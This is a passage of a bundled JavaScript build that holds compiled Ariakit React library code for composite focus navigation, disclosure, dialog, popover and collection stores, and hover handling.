30621 (element) => /* @__PURE__ */ (0, import_jsx_runtime208.jsx)(CompositeContextProvider, { value: store2, children: element }),
30622 [store2]
30623 );
30624 const activeDescendant = store2.useState((state) => {
30625 var _a;
30626 if (!store2) return;
30627 if (!composite) return;
30628 if (!state.virtualFocus) return;
30629 return (_a = getEnabledItem(store2, state.activeId)) == null ? void 0 : _a.id;
30630 });
30631 props = {
30632 "aria-activedescendant": activeDescendant,
30633 ...props,
30634 ref: useMergeRefs(ref, setBaseElement, props.ref),
30635 onKeyDownCapture,
30636 onKeyUpCapture,
30637 onFocusCapture,
30638 onFocus,
30639 onBlurCapture,
30640 onKeyDown
30641 };
30642 const focusable = store2.useState(
30643 (state) => composite && (state.virtualFocus || state.activeId === null)
30644 );
30645 props = useFocusable({ focusable, ...props });
30646 return props;
30647 }
30648 );
30649 var Composite6 = forwardRef22(function Composite22(props) {
30650 const htmlProps = useComposite(props);
30651 return createElement5(TagName5, htmlProps);
30652 });
30653
30654 // node_modules/@ariakit/react-core/esm/__chunks/LVDQFHCH.js
30655 var ctx4 = createStoreContext();
30656 var useDisclosureContext = ctx4.useContext;
30657 var useDisclosureScopedContext = ctx4.useScopedContext;
30658 var useDisclosureProviderContext = ctx4.useProviderContext;
30659 var DisclosureContextProvider = ctx4.ContextProvider;
30660 var DisclosureScopedContextProvider = ctx4.ScopedContextProvider;
30661
30662 // node_modules/@ariakit/react-core/esm/__chunks/A62MDFCW.js
30663 var import_react17 = __toESM(require_react(), 1);
30664 var ctx5 = createStoreContext(
30665 [DisclosureContextProvider],
30666 [DisclosureScopedContextProvider]
30667 );
30668 var useDialogContext = ctx5.useContext;
30669 var useDialogScopedContext = ctx5.useScopedContext;
30670 var useDialogProviderContext = ctx5.useProviderContext;
30671 var DialogContextProvider = ctx5.ContextProvider;
30672 var DialogScopedContextProvider = ctx5.ScopedContextProvider;
30673 var DialogHeadingContext = (0, import_react17.createContext)(void 0);
30674 var DialogDescriptionContext = (0, import_react17.createContext)(void 0);
30675
30676 // node_modules/@ariakit/react-core/esm/__chunks/6B3RXHKP.js
30677 var import_react18 = __toESM(require_react(), 1);
30678 var import_react_dom2 = __toESM(require_react_dom(), 1);
30679 var import_jsx_runtime209 = __toESM(require_jsx_runtime(), 1);
30680 var TagName6 = "div";
30681 function afterTimeout(timeoutMs, cb) {
30682 const timeoutId = setTimeout(cb, timeoutMs);
30683 return () => clearTimeout(timeoutId);
30684 }
30685 function afterPaint2(cb) {
30686 let raf2 = requestAnimationFrame(() => {
30687 raf2 = requestAnimationFrame(cb);
30688 });
30689 return () => cancelAnimationFrame(raf2);
30690 }
30691 function parseCSSTime(...times) {
30692 return times.join(", ").split(", ").reduce((longestTime, currentTimeString) => {
30693 const multiplier = currentTimeString.endsWith("ms") ? 1 : 1e3;
30694 const currentTime = Number.parseFloat(currentTimeString || "0s") * multiplier;
30695 if (currentTime > longestTime) return currentTime;
30696 return longestTime;
30697 }, 0);
30698 }
30699 function isHidden(mounted, hidden, alwaysVisible) {
30700 return !alwaysVisible && hidden !== false && (!mounted || !!hidden);
30701 }
30702 var useDisclosureContent = createHook(function useDisclosureContent2({ store: store2, alwaysVisible, ...props }) {
30703 const context = useDisclosureProviderContext();
30704 store2 = store2 || context;
30705 invariant(
30706 store2,
30707 "DisclosureContent must receive a `store` prop or be wrapped in a DisclosureProvider component."
30708 );
30709 const ref = (0, import_react18.useRef)(null);
30710 const id = useId5(props.id);
30711 const [transition, setTransition] = (0, import_react18.useState)(null);
30712 const open = store2.useState("open");
30713 const mounted = store2.useState("mounted");
30714 const animated2 = store2.useState("animated");
30715 const contentElement = store2.useState("contentElement");
30716 const otherElement = useStoreState(store2.disclosure, "contentElement");
30717 useSafeLayoutEffect(() => {
30718 if (!ref.current) return;
30719 store2 == null ? void 0 : store2.setContentElement(ref.current);
30720 }, [store2]);
30721 useSafeLayoutEffect(() => {
30722 let previousAnimated;
30723 store2 == null ? void 0 : store2.setState("animated", (animated22) => {
30724 previousAnimated = animated22;
30725 return true;
30726 });
30727 return () => {
30728 if (previousAnimated === void 0) return;
30729 store2 == null ? void 0 : store2.setState("animated", previousAnimated);
30730 };
30731 }, [store2]);
30732 useSafeLayoutEffect(() => {
30733 if (!animated2) return;
30734 if (!(contentElement == null ? void 0 : contentElement.isConnected)) {
30735 setTransition(null);
30736 return;
30737 }
30738 return afterPaint2(() => {
30739 setTransition(open ? "enter" : mounted ? "leave" : null);
30740 });
30741 }, [animated2, contentElement, open, mounted]);
30742 useSafeLayoutEffect(() => {
30743 if (!store2) return;
30744 if (!animated2) return;
30745 if (!transition) return;
30746 if (!contentElement) return;
30747 const stopAnimation = () => store2 == null ? void 0 : store2.setState("animating", false);
30748 const stopAnimationSync = () => (0, import_react_dom2.flushSync)(stopAnimation);
30749 if (transition === "leave" && open) return;
30750 if (transition === "enter" && !open) return;
30751 if (typeof animated2 === "number") {
30752 const timeout2 = animated2;
30753 return afterTimeout(timeout2, stopAnimationSync);
30754 }
30755 const {
30756 transitionDuration,
30757 animationDuration,
30758 transitionDelay,
30759 animationDelay
30760 } = getComputedStyle(contentElement);
30761 const {
30762 transitionDuration: transitionDuration2 = "0",
30763 animationDuration: animationDuration2 = "0",
30764 transitionDelay: transitionDelay2 = "0",
30765 animationDelay: animationDelay2 = "0"
30766 } = otherElement ? getComputedStyle(otherElement) : {};
30767 const delay = parseCSSTime(
30768 transitionDelay,
30769 animationDelay,
30770 transitionDelay2,
30771 animationDelay2
30772 );
30773 const duration = parseCSSTime(
30774 transitionDuration,
30775 animationDuration,
30776 transitionDuration2,
30777 animationDuration2
30778 );
30779 const timeout = delay + duration;
30780 if (!timeout) {
30781 if (transition === "enter") {
30782 store2.setState("animated", false);
30783 }
30784 stopAnimation();
30785 return;
30786 }
30787 const frameRate = 1e3 / 60;
30788 const maxTimeout = Math.max(timeout - frameRate, 0);
30789 return afterTimeout(maxTimeout, stopAnimationSync);
30790 }, [store2, animated2, contentElement, otherElement, open, transition]);
30791 props = useWrapElement(
30792 props,
30793 (element) => /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(DialogScopedContextProvider, { value: store2, children: element }),
30794 [store2]
30795 );
30796 const hidden = isHidden(mounted, props.hidden, alwaysVisible);
30797 const styleProp = props.style;
30798 const style = (0, import_react18.useMemo)(() => {
30799 if (hidden) {
30800 return { ...styleProp, display: "none" };
30801 }
30802 return styleProp;
30803 }, [hidden, styleProp]);
30804 props = {
30805 id,
30806 "data-open": open || void 0,
30807 "data-enter": transition === "enter" || void 0,
30808 "data-leave": transition === "leave" || void 0,
30809 hidden,
30810 ...props,
30811 ref: useMergeRefs(id ? store2.setContentElement : null, ref, props.ref),
30812 style
30813 };
30814 return removeUndefinedValues(props);
30815 });
30816 var DisclosureContentImpl = forwardRef22(function DisclosureContentImpl2(props) {
30817 const htmlProps = useDisclosureContent(props);
30818 return createElement5(TagName6, htmlProps);
30819 });
30820 var DisclosureContent = forwardRef22(function DisclosureContent2({
30821 unmountOnHide,
30822 ...props
30823 }) {
30824 const context = useDisclosureProviderContext();
30825 const store2 = props.store || context;
30826 const mounted = useStoreState(
30827 store2,
30828 (state) => !unmountOnHide || (state == null ? void 0 : state.mounted)
30829 );
30830 if (mounted === false) return null;
30831 return /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(DisclosureContentImpl, { ...props });
30832 });
30833
30834 // node_modules/@ariakit/core/esm/__chunks/75BJEVSH.js
30835 function createDisclosureStore(props = {}) {
30836 const store2 = mergeStore(
30837 props.store,
30838 omit2(props.disclosure, ["contentElement", "disclosureElement"])
30839 );
30840 throwOnConflictingProps(props, store2);
30841 const syncState = store2 == null ? void 0 : store2.getState();
30842 const open = defaultValue(
30843 props.open,
30844 syncState == null ? void 0 : syncState.open,
30845 props.defaultOpen,
30846 false
30847 );
30848 const animated2 = defaultValue(props.animated, syncState == null ? void 0 : syncState.animated, false);
30849 const initialState = {
30850 open,
30851 animated: animated2,
30852 animating: !!animated2 && open,
30853 mounted: open,
30854 contentElement: defaultValue(syncState == null ? void 0 : syncState.contentElement, null),
30855 disclosureElement: defaultValue(syncState == null ? void 0 : syncState.disclosureElement, null)
30856 };
30857 const disclosure = createStore(initialState, store2);
30858 setup(
30859 disclosure,
30860 () => sync2(disclosure, ["animated", "animating"], (state) => {
30861 if (state.animated) return;
30862 disclosure.setState("animating", false);
30863 })
30864 );
30865 setup(
30866 disclosure,
30867 () => subscribe(disclosure, ["open"], () => {
30868 if (!disclosure.getState().animated) return;
30869 disclosure.setState("animating", true);
30870 })
30871 );
30872 setup(
30873 disclosure,
30874 () => sync2(disclosure, ["open", "animating"], (state) => {
30875 disclosure.setState("mounted", state.open || state.animating);
30876 })
30877 );
30878 return {
30879 ...disclosure,
30880 disclosure: props.disclosure,
30881 setOpen: (value) => disclosure.setState("open", value),
30882 show: () => disclosure.setState("open", true),
30883 hide: () => disclosure.setState("open", false),
30884 toggle: () => disclosure.setState("open", (open2) => !open2),
30885 stopAnimation: () => disclosure.setState("animating", false),
30886 setContentElement: (value) => disclosure.setState("contentElement", value),
30887 setDisclosureElement: (value) => disclosure.setState("disclosureElement", value)
30888 };
30889 }
30890
30891 // node_modules/@ariakit/react-core/esm/__chunks/WLZ6H5FH.js
30892 function useDisclosureStoreProps(store2, update4, props) {
30893 useUpdateEffect(update4, [props.store, props.disclosure]);
30894 useStoreProps(store2, props, "open", "setOpen");
30895 useStoreProps(store2, props, "mounted", "setMounted");
30896 useStoreProps(store2, props, "animated");
30897 return Object.assign(store2, { disclosure: props.disclosure });
30898 }
30899
30900 // node_modules/@ariakit/react-core/esm/__chunks/JMU4N4M5.js
30901 var ctx6 = createStoreContext(
30902 [DialogContextProvider],
30903 [DialogScopedContextProvider]
30904 );
30905 var usePopoverContext = ctx6.useContext;
30906 var usePopoverScopedContext = ctx6.useScopedContext;
30907 var usePopoverProviderContext = ctx6.useProviderContext;
30908 var PopoverContextProvider = ctx6.ContextProvider;
30909 var PopoverScopedContextProvider = ctx6.ScopedContextProvider;
30910
30911 // node_modules/@ariakit/core/esm/__chunks/N5XGANPW.js
30912 function getCommonParent(items) {
30913 var _a;
30914 const firstItem = items.find((item) => !!item.element);
30915 const lastItem = [...items].reverse().find((item) => !!item.element);
30916 let parentElement = (_a = firstItem == null ? void 0 : firstItem.element) == null ? void 0 : _a.parentElement;
30917 while (parentElement && (lastItem == null ? void 0 : lastItem.element)) {
30918 const parent = parentElement;
30919 if (lastItem && parent.contains(lastItem.element)) {
30920 return parentElement;
30921 }
30922 parentElement = parentElement.parentElement;
30923 }
30924 return getDocument(parentElement).body;
30925 }
30926 function getPrivateStore(store2) {
30927 return store2 == null ? void 0 : store2.__unstablePrivateStore;
30928 }
30929 function createCollectionStore(props = {}) {
30930 var _a;
30931 throwOnConflictingProps(props, props.store);
30932 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
30933 const items = defaultValue(
30934 props.items,
30935 syncState == null ? void 0 : syncState.items,
30936 props.defaultItems,
30937 []
30938 );
30939 const itemsMap = new Map(items.map((item) => [item.id, item]));
30940 const initialState = {
30941 items,
30942 renderedItems: defaultValue(syncState == null ? void 0 : syncState.renderedItems, [])
30943 };
30944 const syncPrivateStore = getPrivateStore(props.store);
30945 const privateStore = createStore(
30946 { items, renderedItems: initialState.renderedItems },
30947 syncPrivateStore
30948 );
30949 const collection = createStore(initialState, props.store);
30950 const sortItems = (renderedItems) => {
30951 const sortedItems = sortBasedOnDOMPosition(renderedItems, (i2) => i2.element);
30952 privateStore.setState("renderedItems", sortedItems);
30953 collection.setState("renderedItems", sortedItems);
30954 };
30955 setup(collection, () => init(privateStore));
30956 setup(privateStore, () => {
30957 return batch(privateStore, ["items"], (state) => {
30958 collection.setState("items", state.items);
30959 });
30960 });
30961 setup(privateStore, () => {
30962 return batch(privateStore, ["renderedItems"], (state) => {
30963 let firstRun = true;
30964 let raf2 = requestAnimationFrame(() => {
30965 const { renderedItems } = collection.getState();
30966 if (state.renderedItems === renderedItems) return;
30967 sortItems(state.renderedItems);
30968 });
30969 if (typeof IntersectionObserver !== "function") {
30970 return () => cancelAnimationFrame(raf2);
30971 }
30972 const ioCallback = () => {
30973 if (firstRun) {
30974 firstRun = false;
30975 return;
30976 }
30977 cancelAnimationFrame(raf2);
30978 raf2 = requestAnimationFrame(() => sortItems(state.renderedItems));
30979 };
30980 const root = getCommonParent(state.renderedItems);
30981 const observer = new IntersectionObserver(ioCallback, { root });
30982 for (const item of state.renderedItems) {
30983 if (!item.element) continue;
30984 observer.observe(item.element);
30985 }
30986 return () => {
30987 cancelAnimationFrame(raf2);
30988 observer.disconnect();
30989 };
30990 });
30991 });
30992 const mergeItem = (item, setItems, canDeleteFromMap = false) => {
30993 let prevItem;
30994 setItems((items2) => {
30995 const index = items2.findIndex(({ id }) => id === item.id);
30996 const nextItems = items2.slice();
30997 if (index !== -1) {
30998 prevItem = items2[index];
30999 const nextItem = { ...prevItem, ...item };
31000 nextItems[index] = nextItem;
31001 itemsMap.set(item.id, nextItem);
31002 } else {
31003 nextItems.push(item);
31004 itemsMap.set(item.id, item);
31005 }
31006 return nextItems;
31007 });
31008 const unmergeItem = () => {
31009 setItems((items2) => {
31010 if (!prevItem) {
31011 if (canDeleteFromMap) {
31012 itemsMap.delete(item.id);
31013 }
31014 return items2.filter(({ id }) => id !== item.id);
31015 }
31016 const index = items2.findIndex(({ id }) => id === item.id);
31017 if (index === -1) return items2;
31018 const nextItems = items2.slice();
31019 nextItems[index] = prevItem;
31020 itemsMap.set(item.id, prevItem);
31021 return nextItems;
31022 });
31023 };
31024 return unmergeItem;
31025 };
31026 const registerItem = (item) => mergeItem(
31027 item,
31028 (getItems) => privateStore.setState("items", getItems),
31029 true
31030 );
31031 return {
31032 ...collection,
31033 registerItem,
31034 renderItem: (item) => chain(
31035 registerItem(item),
31036 mergeItem(
31037 item,
31038 (getItems) => privateStore.setState("renderedItems", getItems)
31039 )
31040 ),
31041 item: (id) => {
31042 if (!id) return null;
31043 let item = itemsMap.get(id);
31044 if (!item) {
31045 const { items: items2 } = privateStore.getState();
31046 item = items2.find((item2) => item2.id === id);
31047 if (item) {
31048 itemsMap.set(id, item);
31049 }
31050 }
31051 return item || null;
31052 },
31053 // @ts-expect-error Internal
31054 __unstablePrivateStore: privateStore
31055 };
31056 }
31057
31058 // node_modules/@ariakit/react-core/esm/__chunks/GVAFFF2B.js
31059 function useCollectionStoreProps(store2, update4, props) {
31060 useUpdateEffect(update4, [props.store]);
31061 useStoreProps(store2, props, "items", "setItems");
31062 return store2;
31063 }
31064
31065 // node_modules/@ariakit/core/esm/__chunks/RVTIKFRL.js
31066 var NULL_ITEM = { id: null };
31067 function findFirstEnabledItem2(items, excludeId) {
31068 return items.find((item) => {
31069 if (excludeId) {
31070 return !item.disabled && item.id !== excludeId;
31071 }
31072 return !item.disabled;
31073 });
31074 }
31075 function getEnabledItems(items, excludeId) {
31076 return items.filter((item) => {
31077 if (excludeId) {
31078 return !item.disabled && item.id !== excludeId;
31079 }
31080 return !item.disabled;
31081 });
31082 }
31083 function getItemsInRow(items, rowId) {
31084 return items.filter((item) => item.rowId === rowId);
31085 }
31086 function flipItems(items, activeId, shouldInsertNullItem = false) {
31087 const index = items.findIndex((item) => item.id === activeId);
31088 return [
31089 ...items.slice(index + 1),
31090 ...shouldInsertNullItem ? [NULL_ITEM] : [],
31091 ...items.slice(0, index)
31092 ];
31093 }
31094 function groupItemsByRows2(items) {
31095 const rows = [];
31096 for (const item of items) {
31097 const row = rows.find((currentRow) => {
31098 var _a;
31099 return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item.rowId;
31100 });
31101 if (row) {
31102 row.push(item);
31103 } else {
31104 rows.push([item]);
31105 }
31106 }
31107 return rows;
31108 }
31109 function getMaxRowLength(array) {
31110 let maxLength = 0;
31111 for (const { length } of array) {
31112 if (length > maxLength) {
31113 maxLength = length;
31114 }
31115 }
31116 return maxLength;
31117 }
31118 function createEmptyItem(rowId) {
31119 return {
31120 id: "__EMPTY_ITEM__",
31121 disabled: true,
31122 rowId
31123 };
31124 }
31125 function normalizeRows(rows, activeId, focusShift) {
31126 const maxLength = getMaxRowLength(rows);
31127 for (const row of rows) {
31128 for (let i2 = 0; i2 < maxLength; i2 += 1) {
31129 const item = row[i2];
31130 if (!item || focusShift && item.disabled) {
31131 const isFirst = i2 === 0;
31132 const previousItem = isFirst && focusShift ? findFirstEnabledItem2(row) : row[i2 - 1];
31133 row[i2] = previousItem && activeId !== previousItem.id && focusShift ? previousItem : createEmptyItem(previousItem == null ? void 0 : previousItem.rowId);
31134 }
31135 }
31136 }
31137 return rows;
31138 }
31139 function verticalizeItems(items) {
31140 const rows = groupItemsByRows2(items);
31141 const maxLength = getMaxRowLength(rows);
31142 const verticalized = [];
31143 for (let i2 = 0; i2 < maxLength; i2 += 1) {
31144 for (const row of rows) {
31145 const item = row[i2];
31146 if (item) {
31147 verticalized.push({
31148 ...item,
31149 // If there's no rowId, it means that it's not a grid composite, but
31150 // a single row instead. So, instead of verticalizing it, that is,
31151 // assigning a different rowId based on the column index, we keep it
31152 // undefined so they will be part of the same row. This is useful
31153 // when using up/down on one-dimensional composites.
31154 rowId: item.rowId ? `${i2}` : void 0
31155 });
31156 }
31157 }
31158 }
31159 return verticalized;
31160 }
31161 function createCompositeStore(props = {}) {
31162 var _a;
31163 const syncState = (_a = props.store) == null ? void 0 : _a.getState();
31164 const collection = createCollectionStore(props);
31165 const activeId = defaultValue(
31166 props.activeId,
31167 syncState == null ? void 0 : syncState.activeId,
31168 props.defaultActiveId
31169 );
31170 const initialState = {
31171 ...collection.getState(),
31172 id: defaultValue(
31173 props.id,
31174 syncState == null ? void 0 : syncState.id,
31175 `id-${Math.random().toString(36).slice(2, 8)}`
31176 ),
31177 activeId,
31178 baseElement: defaultValue(syncState == null ? void 0 : syncState.baseElement, null),
31179 includesBaseElement: defaultValue(
31180 props.includesBaseElement,
31181 syncState == null ? void 0 : syncState.includesBaseElement,
31182 activeId === null
31183 ),
31184 moves: defaultValue(syncState == null ? void 0 : syncState.moves, 0),
31185 orientation: defaultValue(
31186 props.orientation,
31187 syncState == null ? void 0 : syncState.orientation,
31188 "both"
31189 ),
31190 rtl: defaultValue(props.rtl, syncState == null ? void 0 : syncState.rtl, false),
31191 virtualFocus: defaultValue(
31192 props.virtualFocus,
31193 syncState == null ? void 0 : syncState.virtualFocus,
31194 false
31195 ),
31196 focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, false),
31197 focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, false),
31198 focusShift: defaultValue(props.focusShift, syncState == null ? void 0 : syncState.focusShift, false)
31199 };
31200 const composite = createStore(initialState, collection, props.store);
31201 setup(
31202 composite,
31203 () => sync2(composite, ["renderedItems", "activeId"], (state) => {
31204 composite.setState("activeId", (activeId2) => {
31205 var _a2;
31206 if (activeId2 !== void 0) return activeId2;
31207 return (_a2 = findFirstEnabledItem2(state.renderedItems)) == null ? void 0 : _a2.id;
31208 });
31209 })
31210 );
31211 const getNextId = (direction = "next", options = {}) => {
31212 var _a2, _b;
31213 const defaultState = composite.getState();
31214 const {
31215 skip = 0,
31216 activeId: activeId2 = defaultState.activeId,
31217 focusShift = defaultState.focusShift,
31218 focusLoop = defaultState.focusLoop,
31219 focusWrap = defaultState.focusWrap,
31220 includesBaseElement = defaultState.includesBaseElement,
31221 renderedItems = defaultState.renderedItems,
31222 rtl = defaultState.rtl
31223 } = options;
31224 const isVerticalDirection = direction === "up" || direction === "down";
31225 const isNextDirection = direction === "next" || direction === "down";
31226 const canReverse = isNextDirection ? rtl && !isVerticalDirection : !rtl || isVerticalDirection;
31227 const canShift = focusShift && !skip;
31228 let items = !isVerticalDirection ? renderedItems : flatten2DArray(
31229 normalizeRows(groupItemsByRows2(renderedItems), activeId2, canShift)
31230 );
31231 items = canReverse ? reverseArray(items) : items;
31232 items = isVerticalDirection ? verticalizeItems(items) : items;
31233 if (activeId2 == null) {
31234 return (_a2 = findFirstEnabledItem2(items)) == null ? void 0 : _a2.id;
31235 }
31236 const activeItem = items.find((item) => item.id === activeId2);
31237 if (!activeItem) {
31238 return (_b = findFirstEnabledItem2(items)) == null ? void 0 : _b.id;
31239 }
31240 const isGrid2 = items.some((item) => item.rowId);
31241 const activeIndex = items.indexOf(activeItem);
31242 const nextItems = items.slice(activeIndex + 1);
31243 const nextItemsInRow = getItemsInRow(nextItems, activeItem.rowId);
31244 if (skip) {
31245 const nextEnabledItemsInRow = getEnabledItems(nextItemsInRow, activeId2);
31246 const nextItem2 = nextEnabledItemsInRow.slice(skip)[0] || // If we can't find an item, just return the last one.
31247 nextEnabledItemsInRow[nextEnabledItemsInRow.length - 1];
31248 return nextItem2 == null ? void 0 : nextItem2.id;
31249 }
31250 const canLoop = focusLoop && (isVerticalDirection ? focusLoop !== "horizontal" : focusLoop !== "vertical");
31251 const canWrap = isGrid2 && focusWrap && (isVerticalDirection ? focusWrap !== "horizontal" : focusWrap !== "vertical");
31252 const hasNullItem = isNextDirection ? (!isGrid2 || isVerticalDirection) && canLoop && includesBaseElement : isVerticalDirection ? includesBaseElement : false;
31253 if (canLoop) {
31254 const loopItems = canWrap && !hasNullItem ? items : getItemsInRow(items, activeItem.rowId);
31255 const sortedItems = flipItems(loopItems, activeId2, hasNullItem);
31256 const nextItem2 = findFirstEnabledItem2(sortedItems, activeId2);
31257 return nextItem2 == null ? void 0 : nextItem2.id;
31258 }
31259 if (canWrap) {
31260 const nextItem2 = findFirstEnabledItem2(
31261 // We can use nextItems, which contains all the next items, including
31262 // items from other rows, to wrap between rows. However, if there is a
31263 // null item (the composite container), we'll only use the next items in
31264 // the row. So moving next from the last item will focus on the
31265 // composite container. On grid composites, horizontal navigation never
31266 // focuses on the composite container, only vertical.
31267 hasNullItem ? nextItemsInRow : nextItems,
31268 activeId2
31269 );
31270 const nextId2 = hasNullItem ? (nextItem2 == null ? void 0 : nextItem2.id) || null : nextItem2 == null ? void 0 : nextItem2.id;
31271 return nextId2;
31272 }
31273 const nextItem = findFirstEnabledItem2(nextItemsInRow, activeId2);
31274 if (!nextItem && hasNullItem) {
31275 return null;
31276 }
31277 return nextItem == null ? void 0 : nextItem.id;
31278 };
31279 return {
31280 ...collection,
31281 ...composite,
31282 setBaseElement: (element) => composite.setState("baseElement", element),
31283 setActiveId: (id) => composite.setState("activeId", id),
31284 move: (id) => {
31285 if (id === void 0) return;
31286 composite.setState("activeId", id);
31287 composite.setState("moves", (moves) => moves + 1);
31288 },
31289 first: () => {
31290 var _a2;
31291 return (_a2 = findFirstEnabledItem2(composite.getState().renderedItems)) == null ? void 0 : _a2.id;
31292 },
31293 last: () => {
31294 var _a2;
31295 return (_a2 = findFirstEnabledItem2(reverseArray(composite.getState().renderedItems))) == null ? void 0 : _a2.id;
31296 },
31297 next: (options) => {
31298 if (options !== void 0 && typeof options === "number") {
31299 options = { skip: options };
31300 }
31301 return getNextId("next", options);
31302 },
31303 previous: (options) => {
31304 if (options !== void 0 && typeof options === "number") {
31305 options = { skip: options };
31306 }
31307 return getNextId("previous", options);
31308 },
31309 down: (options) => {
31310 if (options !== void 0 && typeof options === "number") {
31311 options = { skip: options };
31312 }
31313 return getNextId("down", options);
31314 },
31315 up: (options) => {
31316 if (options !== void 0 && typeof options === "number") {
31317 options = { skip: options };
31318 }
31319 return getNextId("up", options);
31320 }
31321 };
31322 }
31323
31324 // node_modules/@ariakit/react-core/esm/__chunks/IQYAUKXT.js
31325 function useCompositeStoreOptions(props) {
31326 const id = useId5(props.id);
31327 return { id, ...props };
31328 }
31329 function useCompositeStoreProps(store2, update4, props) {
31330 store2 = useCollectionStoreProps(store2, update4, props);
31331 useStoreProps(store2, props, "activeId", "setActiveId");
31332 useStoreProps(store2, props, "includesBaseElement");
31333 useStoreProps(store2, props, "virtualFocus");
31334 useStoreProps(store2, props, "orientation");
31335 useStoreProps(store2, props, "rtl");
31336 useStoreProps(store2, props, "focusLoop");
31337 useStoreProps(store2, props, "focusWrap");
31338 useStoreProps(store2, props, "focusShift");
31339 return store2;
31340 }
31341
31342 // node_modules/@ariakit/react-core/esm/__chunks/CVCFNOHX.js
31343 var import_react19 = __toESM(require_react(), 1);
31344 var ComboboxListRoleContext = (0, import_react19.createContext)(
31345 void 0
31346 );
31347 var ctx7 = createStoreContext(
31348 [PopoverContextProvider, CompositeContextProvider],
31349 [PopoverScopedContextProvider, CompositeScopedContextProvider]
31350 );
31351 var useComboboxContext = ctx7.useContext;
31352 var useComboboxScopedContext = ctx7.useScopedContext;
31353 var useComboboxProviderContext = ctx7.useProviderContext;
31354 var ComboboxContextProvider = ctx7.ContextProvider;
31355 var ComboboxScopedContextProvider = ctx7.ScopedContextProvider;
31356 var ComboboxItemValueContext = (0, import_react19.createContext)(
31357 void 0
31358 );
31359 var ComboboxItemCheckedContext = (0, import_react19.createContext)(false);
31360
31361 // node_modules/@ariakit/core/esm/__chunks/KMAUV3TY.js
31362 function createDialogStore(props = {}) {
31363 return createDisclosureStore(props);
31364 }
31365
31366 // node_modules/@ariakit/react-core/esm/__chunks/4NYSH4UO.js
31367 function useDialogStoreProps(store2, update4, props) {
31368 return useDisclosureStoreProps(store2, update4, props);
31369 }
31370
31371 // node_modules/@ariakit/core/esm/__chunks/BFGNM53A.js
31372 function createPopoverStore({
31373 popover: otherPopover,
31374 ...props
31375 } = {}) {
31376 const store2 = mergeStore(
31377 props.store,
31378 omit2(otherPopover, [
31379 "arrowElement",
31380 "anchorElement",
31381 "contentElement",
31382 "popoverElement",
31383 "disclosureElement"
31384 ])
31385 );
31386 throwOnConflictingProps(props, store2);
31387 const syncState = store2 == null ? void 0 : store2.getState();
31388 const dialog = createDialogStore({ ...props, store: store2 });
31389 const placement = defaultValue(
31390 props.placement,
31391 syncState == null ? void 0 : syncState.placement,
31392 "bottom"
31393 );
31394 const initialState = {
31395 ...dialog.getState(),
31396 placement,
31397 currentPlacement: placement,
31398 anchorElement: defaultValue(syncState == null ? void 0 : syncState.anchorElement, null),
31399 popoverElement: defaultValue(syncState == null ? void 0 : syncState.popoverElement, null),
31400 arrowElement: defaultValue(syncState == null ? void 0 : syncState.arrowElement, null),
31401 rendered: /* @__PURE__ */ Symbol("rendered")
31402 };
31403 const popover = createStore(initialState, dialog, store2);
31404 return {
31405 ...dialog,
31406 ...popover,
31407 setAnchorElement: (element) => popover.setState("anchorElement", element),
31408 setPopoverElement: (element) => popover.setState("popoverElement", element),
31409 setArrowElement: (element) => popover.setState("arrowElement", element),
31410 render: () => popover.setState("rendered", /* @__PURE__ */ Symbol("rendered"))
31411 };
31412 }
31413
31414 // node_modules/@ariakit/react-core/esm/__chunks/B6FLPFJM.js
31415 function usePopoverStoreProps(store2, update4, props) {
31416 useUpdateEffect(update4, [props.popover]);
31417 useStoreProps(store2, props, "placement");
31418 return useDialogStoreProps(store2, update4, props);
31419 }
31420
31421 // node_modules/@ariakit/react-core/esm/__chunks/4POTBZ2J.js
31422 var TagName7 = "div";
31423 var usePopoverAnchor = createHook(
31424 function usePopoverAnchor2({ store: store2, ...props }) {
31425 const context = usePopoverProviderContext();
31426 store2 = store2 || context;
31427 props = {
31428 ...props,
31429 ref: useMergeRefs(store2 == null ? void 0 : store2.setAnchorElement, props.ref)
31430 };
31431 return props;
31432 }
31433 );
31434 var PopoverAnchor = forwardRef22(function PopoverAnchor2(props) {
31435 const htmlProps = usePopoverAnchor(props);
31436 return createElement5(TagName7, htmlProps);
31437 });
31438
31439 // node_modules/@ariakit/react-core/esm/__chunks/X6LNAU2F.js
31440 var import_react20 = __toESM(require_react(), 1);
31441 var TagName8 = "div";
31442 function getMouseDestination(event) {
31443 const relatedTarget = event.relatedTarget;
31444 if ((relatedTarget == null ? void 0 : relatedTarget.nodeType) === Node.ELEMENT_NODE) {
31445 return relatedTarget;
31446 }
31447 return null;
31448 }
31449 function hoveringInside(event) {
31450 const nextElement = getMouseDestination(event);
31451 if (!nextElement) return false;
31452 return contains(event.currentTarget, nextElement);
31453 }
31454 var symbol2 = /* @__PURE__ */ Symbol("composite-hover");
31455 function movingToAnotherItem(event) {
31456 let dest = getMouseDestination(event);
31457 if (!dest) return false;
31458 do {
31459 if (hasOwnProperty(dest, symbol2) && dest[symbol2]) return true;
31460 dest = dest.parentElement;
31461 } while (dest);
31462 return false;
31463 }
31464 var useCompositeHover = createHook(
31465 function useCompositeHover2({
31466 store: store2,
31467 focusOnHover = true,
31468 blurOnHoverEnd = !!focusOnHover,
31469 ...props
31470 }) {
31471 const context = useCompositeContext();
31472 store2 = store2 || context;
31473 invariant(
31474 store2,
31475 "CompositeHover must be wrapped in a Composite component."
31476 );
31477 const isMouseMoving = useIsMouseMoving();
31478 const onMouseMoveProp = props.onMouseMove;
31479 const focusOnHoverProp = useBooleanEvent(focusOnHover);
31480 const onMouseMove = useEvent((event) => {
31481 onMouseMoveProp == null ? void 0 : onMouseMoveProp(event);
31482 if (event.defaultPrevented) return;
31483 if (!isMouseMoving()) return;
31484 if (!focusOnHoverProp(event)) return;
31485 if (!hasFocusWithin(event.currentTarget)) {
31486 const baseElement = store2 == null ? void 0 : store2.getState().baseElement;
31487 if (baseElement && !hasFocus(baseElement)) {
31488 baseElement.focus();
31489 }
31490 }
31491 store2 == null ? void 0 : store2.setActiveId(event.currentTarget.id);
31492 });
31493 const onMouseLeaveProp = props.onMouseLeave;
31494 const blurOnHoverEndProp = useBooleanEvent(blurOnHoverEnd);
31495 const onMouseLeave = useEvent((event) => {
31496 var _a;
31497 onMouseLeaveProp == null ? void 0 : onMouseLeaveProp(event);
31498 if (event.defaultPrevented) return;
